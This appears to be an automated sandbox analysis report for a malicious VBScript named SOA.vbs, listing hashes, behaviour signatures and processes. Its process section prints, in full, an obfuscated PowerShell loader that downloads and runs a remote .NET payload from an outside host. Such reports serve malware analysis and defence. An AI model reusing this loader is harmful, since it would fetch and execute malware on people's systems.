Analysis
-
max time kernel
121s -
max time network
122s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
30/03/2025, 18:32
General
-
Target
SOA.vbs
-
Size
379KB
-
MD5
ce9650c94c571b5f52bfa309d6b3fc8d
-
SHA1
52d7bc1dfb97e949aa9907bf6cd48fc05fc19ad1
-
SHA256
f0b9b0709d906b96267804708a14f5f40b33518b558d8041776c9b62f3b36824
-
SHA512
35fc9c81f23066736ba690529b78f98466ab2c03f290df75841b865c46a49a65f3a3837f3c64f838a2c3fb0da557d877fc4ae13290953f441871779d98ec9da1
-
SSDEEP
1536:09MDsyDWF5fExMw/j3OBYXMecOXcggQkbN8tgSgftATlon4EFcXAwpEu+WCzW4GO:OM1WFypTOBYXMecOXcggQkbVx
Score
8/10
Malware Config
Signatures
-
Blocklisted process makes network request 2 IoCs
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\SOA.vbs"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -Command "$Codigo = 'J#Bz#H##aQBs#G8#bQBh#C##PQ#g#Cc#d#B4#HQ#LgBl#Gw#aQBG#GQ#ZQB0#HI#ZQB2#G4#bwBD#C8#bQBv#GM#LgBz#HQ#bgBl#G0#d#Bp#HU#cgBj#GU#cgB0#G4#ZQBs#GE#d##v#C8#OgBz#H##d#B0#Gg#Jw#7#CQ#c#B1#H##dQBz#GU#cgBp#GE#I##9#C##J#Bz#H##aQBs#G8#bQBh#C##LQBy#GU#c#Bs#GE#YwBl#C##Jw#j#Cc#L##g#Cc#d##n#Ds#J#B2#G8#d#Bh#GI#b#Bl#C##PQ#g#Cc#a#B0#HQ#c#Bz#Do#Lw#v#HQ#YQBs#GU#bgB0#HI#ZQBj#HI#dQBp#HQ#bQBl#G4#d#Bz#C4#YwBv#G0#LwBu#GU#dwBf#Gk#bQBh#Gc#ZQ#u#Go#c#Bn#Cc#Ow#k#GU#bgBk#G8#bQB5#HM#aQB1#G0#I##9#C##TgBl#Hc#LQBP#GI#agBl#GM#d##g#FM#eQBz#HQ#ZQBt#C4#TgBl#HQ#LgBX#GU#YgBD#Gw#aQBl#G4#d##7#CQ#aQBu#GM#b#B1#HM#aQBi#Gw#ZQ#g#D0#I##k#GU#bgBk#G8#bQB5#HM#aQB1#G0#LgBE#G8#dwBu#Gw#bwBh#GQ#R#Bh#HQ#YQ#o#CQ#dgBv#HQ#YQBi#Gw#ZQ#p#Ds#J#Br#GE#awBr#GU#I##9#C##WwBT#Hk#cwB0#GU#bQ#u#FQ#ZQB4#HQ#LgBF#G4#YwBv#GQ#aQBu#Gc#XQ#6#Do#VQBU#EY#O##u#Ec#ZQB0#FM#d#By#Gk#bgBn#Cg#J#Bp#G4#YwBs#HU#cwBp#GI#b#Bl#Ck#Ow#k#GY#ZQBk#GU#cgBh#HQ#aQB2#GU#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#k#GE#dQBk#Gk#bwB3#GE#cgBl#Ho#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBF#E4#R##+#D4#Jw#7#CQ#dwBl#Gw#ZgBh#HI#aQBz#HQ#I##9#C##J#Br#GE#awBr#GU#LgBJ#G4#Z#Bl#Hg#TwBm#Cg#J#Bm#GU#Z#Bl#HI#YQB0#Gk#dgBl#Ck#Ow#k#HM#d#Bl#GU#b#B5#GE#cgBk#C##PQ#g#CQ#awBh#Gs#awBl#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#YQB1#GQ#aQBv#Hc#YQBy#GU#eg#p#Ds#J#B3#GU#b#Bm#GE#cgBp#HM#d##g#C0#ZwBl#C##M##g#C0#YQBu#GQ#I##k#HM#d#Bl#GU#b#B5#GE#cgBk#C##LQBn#HQ#I##k#Hc#ZQBs#GY#YQBy#Gk#cwB0#Ds#J#B3#GU#b#Bm#GE#cgBp#HM#d##g#Cs#PQ#g#CQ#ZgBl#GQ#ZQBy#GE#d#Bp#HY#ZQ#u#Ew#ZQBu#Gc#d#Bo#Ds#J#Bl#GE#cgB0#Gg#aQBl#HI#I##9#C##J#Bz#HQ#ZQBl#Gw#eQBh#HI#Z##g#C0#I##k#Hc#ZQBs#GY#YQBy#Gk#cwB0#Ds#J#Br#Gw#ZQBw#Gg#d#Bp#GM#I##9#C##J#Br#GE#awBr#GU#LgBT#HU#YgBz#HQ#cgBp#G4#Zw#o#CQ#dwBl#Gw#ZgBh#HI#aQBz#HQ#L##g#CQ#ZQBh#HI#d#Bo#Gk#ZQBy#Ck#Ow#k#HI#a#Bv#GQ#YQBt#Gk#bgBl#C##PQ#g#Fs#UwB5#HM#d#Bl#G0#LgBD#G8#bgB2#GU#cgB0#F0#Og#6#EY#cgBv#G0#QgBh#HM#ZQ#2#DQ#UwB0#HI#aQBu#Gc#K##k#Gs#b#Bl#H##a#B0#Gk#Yw#p#Ds#J#By#G8#ZwBn#GE#bg#g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#UgBl#GY#b#Bl#GM#d#Bp#G8#bg#u#EE#cwBz#GU#bQBi#Gw#eQBd#Do#OgBM#G8#YQBk#Cg#J#By#Gg#bwBk#GE#bQBp#G4#ZQ#p#Ds#J#Bm#GU#YQB0#HU#cgBl#C##PQ#g#Fs#Z#Bu#Gw#aQBi#C4#SQBP#C4#S#Bv#G0#ZQBd#C4#RwBl#HQ#TQBl#HQ#a#Bv#GQ#K##n#FY#QQBJ#Cc#KQ#u#Ek#bgB2#G8#awBl#Cg#J#Bu#HU#b#Bs#Cw#I#Bb#G8#YgBq#GU#YwB0#Fs#XQBd#C##Q##o#CQ#c#B1#H##dQBz#GU#cgBp#GE#L##n#Cc#L##n#Cc#L##n#Cc#L##n#E0#UwBC#HU#aQBs#GQ#Jw#s#Cc#Jw#s#Cc#Jw#s#Cc#Jw#s#Cc#Jw#s#Cc#Qw#6#Fw#U#By#G8#ZwBy#GE#bQBE#GE#d#Bh#Fw#Jw#s#Cc#cwB1#HQ#d#Bs#GU#Jw#s#Cc#dgBi#HM#Jw#s#Cc#MQ#n#Cw#Jw#x#Cc#L##n#FM#YQBs#GE#ZwBy#GE#bQBh#HM#Jw#s#Cc#Mg#n#Ck#KQ#='; $OWjuxd = [System.Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($Codigo.Replace('#','A'))); Invoke-Expression $OWjuxd"2⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
4KB
-
Filesize
2.9MB
-
Filesize
32KB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB
-
Filesize
9.6MB